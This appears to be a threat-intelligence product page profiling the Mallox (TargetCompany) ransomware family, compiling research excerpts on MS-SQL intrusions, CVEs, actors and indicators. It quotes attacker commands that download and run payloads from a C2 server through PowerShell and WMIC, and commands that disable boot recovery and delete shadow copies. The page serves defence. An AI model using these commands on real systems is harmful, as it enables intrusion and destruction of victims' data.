Loading malware…
Mallox, also widely tracked as TargetCompany and in some variants as Fargo or Xollam, is an enterprise-focused ransomware family that emerged in 2021 and later operated as a ransomware-as-a-service platform. It is strongly associated with intrusions against exposed or weakly secured Microsoft SQL Server environments, where operators and affiliates have used brute-force attacks, weak credentials, and exploitation of unpatched SQL Server flaws to gain initial access. Multiple investigations also show abuse of SQL Server features such as xp_cmdshell, OLE automation, and CLR assemblies to execute operating-system commands and stage payloads. Some campaigns used loaders such as PureCrypter or custom .NET downloaders to decrypt and launch Mallox in memory, while later variants and related branches shifted in part to spam-delivered lures, including malicious OneNote attachments.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
4 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
At the beginning of 2022, SophosLabs and Sophos MTR had been investigating an uptick in reports of attacks against Microsoft SQL Server installations, using two venerable and long-patched remote code execution vulnerabilities (CVE-2019-1068, CVE-2020-0618). | These attacks leverage Remcos (a commercially available remote access trojan) and deploy various families of ransomware including TargetCompany, aka Mallox; GlobeImposter, aka Alpha865qqz; and BlueSky.
At the beginning of 2022, SophosLabs and Sophos MTR had been investigating an uptick in reports of attacks against Microsoft SQL Server installations, using two venerable and long-patched remote code execution vulnerabilities (CVE-2019-1068, CVE-2020-0618). | These attacks leverage Remcos (a commercially available remote access trojan) and deploy various families of ransomware including TargetCompany, aka Mallox; GlobeImposter, aka Alpha865qqz; and BlueSky.
S-RM has responded to an incident where a threat actor used the recently disclosed critical vulnerability known as React2Shell (CVE-2025-55182) to gain access to a corporate network and deploy ransomware.
Mallox ( aka TargetCompany ) ransomware is a longstanding, Enterprise-focused, RaaS. The family emerged in 2021 and is sometimes referred to as FARGO, XOLLAM, or BOZON, due to the extension appended to encrypted files in some variants.
3 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
It was targeted by an intrusion set leveraging brute-force tactics, aiming to deploy the Mallox ransomware via PureCrypter through several MS-SQL exploitation techniques.
Weaxor est le successeur de Mallox ransomware, rebrandé fin 2024 pour contourner les profils de détection.
Mallox ( aka TargetCompany ) ransomware is a longstanding, Enterprise-focused, RaaS. The family emerged in 2021 and is sometimes referred to as FARGO, XOLLAM, or BOZON, due to the extension appended to encrypted files in some variants.
29 distinct techniques documented for this family, organized by ATT&CK tactic.
Mallox has all the typical Big Game Hunting attributes that other groups also have, such as a leak site, a server hosted on TOR, and others.
At the beginning of 2022, SophosLabs and Sophos MTR had been investigating an uptick in reports of attacks against Microsoft SQL Server installations, using two venerable and long-patched remote code execution vulnerabilities (CVE-2019-1068, CVE-2020-0618).
... & powershell -ExecutionPolicy Bypass %temp%\update.ps1 & WMIC process call create "%TEMP%\M0QW5DJ1.exe"
The payload downloaded by the PowerShell script was a .NET downloader, which would subsequently retrieve an encrypted payload from the command-and-control (C&C) server.
"C:\Windows\system32\cmd.exe" /c "echo $client = New-Object System.Net.WebClient > %TEMP%\update.ps1 & echo $client.DownloadFile("http://C2_Server_IP/- malware.exe","%TEMP%\<random>.exe") >> %TEMP%\update.ps1 & powershell – ExecutionPolicy Bypass %temp%\update.ps1 & WMIC process call create "%TEMP%\<random>.exe""
"C:\WINDOWS\system32\cmd.exe" /c "echo $client = New-Object System.Net.WebClient > %TEMP%\update.ps1 & echo $client.DownloadFile("http://91[.]243[.]44[.]142/pl- Ukxamliyg.exe","%TEMP%\9ETVCRZF.exe") >> %TEMP%\update.ps1 & powershell – ExecutionPolicy Bypass %temp%\update.ps1 & WMIC process call create "%TEMP%\9ETVCRZF.exe""
The final payload is in obfuscated or encrypted form, so the dotNet downloader has to decode it first. The encryption can be as simple as reversing the content of the file, or in a typical case a XOR encryption with a hardcoded key
the gang used different sets of defense evasion and reconnaissance tools such as GMER and Advance Process Termination to manually uninstall antivirus products on the target system.
Kill$ cleaner This component drops and executes a batch file into %TEMP%. This batch file stops services and processes.
Finally, the malware looks at its processus privileges in order to elevate them with the SeDebugPrivilege... The ransomware then adjusts its privileges to leverage the SeTakeOwnershipPrivilege and SeDebugPrivilege privileges.
Before encrypting the files, the ransomware exfiltrates system information such as Operating system version, Desktop name, etc., and sends it to the Command & Control (C&C) server using a POST request
Before encrypting the files, the ransomware exfiltrates system information such as Operating system version, Desktop name, etc., and sends it to the Command & Control (C&C) server using a POST request
MTR’s investigation found very simple scripts that reach out to the download server, download the next-stage component, and execute it: $client = New-Object System.Net.WebClient $client.DownloadFile("http://91[.]243[.]44[.]142/arx-Ikrbwika.exe","C:\Users\MSSQL$~1\AppData\Local\Temp\VKDA55H6.exe")
Before encrypting the files, the ransomware exfiltrates system information such as Operating system version, Desktop name, etc., and sends it to the Command & Control (C&C) server using a POST request
Ransomware шифрует файлы с расширениями, связанными с виртуальной машиной (vmdk, vmem, vswp, vmx, vmsn, nvram), добавляя к полученным файлам расширение ".locked".
It then creates the ransom note shown in Figure 20. Note the use of the China.Helper@aol.com address, which we also saw in the instance of the “real” GlobeImposter infection discussed above. | kill$.exe drops a batch file into %TEMP%. Interestingly, this file contains comment strings in Chinese
Mallox begins its destructive activities by starting a thread that disables certain recovery options... `bcdedit /set {current} bootstatuspolicy ignoreallfailures` `bcdedit /set {current} recoveryenabled no`... The malware deletes shadow copies using the infamous command: `vssadmin.exe delete shadows /all /quiet`.
101 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
17 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Earlier ransomware family/group lineage from which Weaxor is described as a successor or rebrand.
Mallox is a ransomware family operated as a Ransomware-as-a-Service platform. In this report it is deployed against MS-SQL servers after brute-force and post-exploitation activity, encrypts files, deletes shadow copies, disables recovery options, stops services, and registers victims with C2 infrastructure while supporting double extortion.
A ransomware family referenced as affiliated with an actor whose staging server leak exposed adaptations of Kryptina for enterprise attacks.
A ransomware variant first reported in 2021 that later launched an affiliate program in 2022. It follows a Big Game Hunting model with affiliate IDs, a TOR-hosted leak site, and targeting guidance focused on organizations with at least $10 million in revenue while excluding hospitals and educational institutions.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.